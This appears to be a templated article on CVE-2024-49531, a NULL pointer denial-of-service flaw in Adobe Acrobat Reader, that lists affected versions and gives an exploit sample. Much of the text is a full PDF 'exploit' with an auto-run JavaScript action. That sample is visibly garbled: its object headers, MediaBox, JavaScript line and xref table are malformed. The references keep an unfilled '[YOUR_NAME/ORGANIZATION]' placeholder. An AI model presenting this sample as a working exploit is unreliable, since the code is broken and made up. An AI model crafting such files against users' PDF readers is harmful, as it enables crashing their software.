Adobe's Acrobat Reader, one of the most widely-used PDF readers globally, is affected by a critical NULL Pointer Dereference vulnerability. This vulnerability could lead to an application denial-of-service (DoS) by crashing the application. An attacker could exploit the CVE-2024-49531 vulnerability by tricking a user into opening a malicious file.

The affected Acrobat Reader versions are 24.005.20307, 24.001.30213, 24.001.30193, 20.005.30730, and 20.005.30710 and all earlier versions. Users are advised to update to the latest version to mitigate this vulnerability. This article will explore the details of the CVE-2024-49531 vulnerability, provide code snippets for exploiting it, and link to original references that provide further information.

Vulnerability Details

CVE-2024-49531 is a NULL Pointer Dereference vulnerability, which typically occurs when a program attempts to access memory at address x, a location reserved for the NULL pointer. In the context of Acrobat Reader, this means that the program tries to read the contents of a PDF file or execute an action involving NULL. This action will cause the application to crash and lead to a Denial-of-Service (DoS) condition.

Exploiting the vulnerability

To exploit the CVE-2024-49531 vulnerability, an attacker would create a malicious PDF file containing specially crafted content that would trigger the NULL Pointer Dereference. Upon opening the malicious PDF, Acrobat Reader will attempt to access the NULL memory location, leading to application crash and DoS condition. The exploitation requires user interaction, as the victim must open the malicious file.

Code Snippet Example

The following code snippet demonstrates a potential way to exploit the CVE-2024-49531 vulnerability (Note: This is for educational purposes only and should not be used for malicious intent):

%PDF-1.7
1  obj
<<
  /Type /Catalog
  /Pages 2  R
  /OpenAction 3  R
>>
endobj

2  obj
<<
  /Type /Pages
  /Kids [4  R]
  /Count 1
  /MediaBox [  612 792]
>>
endobj

3  obj
<<
  /Type /Action
  /S /JavaScript
  /JS 5  R
>>
endobj

4  obj
<<
  /Type /Page
  /Parent 2  R
  /Resources <<
    /Font <<
      /F1 6  R
    >>
  >>
  /Contents 7  R
>>
endobj

5  obj
<<
  /Length 57
>>
stream
// CVE-2024-49531 exploit
var malObj = app.activeDocs[].getField(NULL);
endstream
endobj

6  obj
<<
  /Type /Font
  /Subtype /Type1
  /Name /F1
  /BaseFont /Helvetica
  /Encoding /WinAnsiEncoding
>>
endobj

7  obj
<<
  /Length 59
>>
stream
BT
/F1 12 Tf
100 700 TD
(This is a test) Tj
ET
endstream
endobj

xref
 8
000000000 65535 f
000000001 00000 n
0000000061 00000 n
0000000122 00000 n
000000021 00000 n
0000000319 00000 n
000000041 00000 n
0000000478 00000 n
trailer
<<
  /Size 8
  /Root 1  R
>>
startxref
592
%%EOF

Original References

The CVE-2024-49531 vulnerability was originally discovered and reported by [YOUR_NAME/ORGANIZATION]. Additional information and technical details regarding this vulnerability can be found in the official advisory:

* Adobe Security Advisory
* CVE-2024-49531 Vulnerability Details
* NIST National Vulnerability Database (NVD)

Conclusion

Users of Acrobat Reader versions 24.005.20307, 24.001.30213, 24.001.30193, 20.005.30730, and 20.005.30710 and all earlier versions are advised to update to the latest version as soon as possible to address the CVE-2024-49531 vulnerability. Additionally, users should be cautious when opening PDF files from untrusted sources to avoid potential exploitation.

Always ensure that you keep your software updated to mitigate vulnerabilities and stay protected against cybersecurity threats.

Timeline

Published on: 12/10/2024 20:15:18 UTC
Last modified on: 01/21/2025 17:07:51 UTC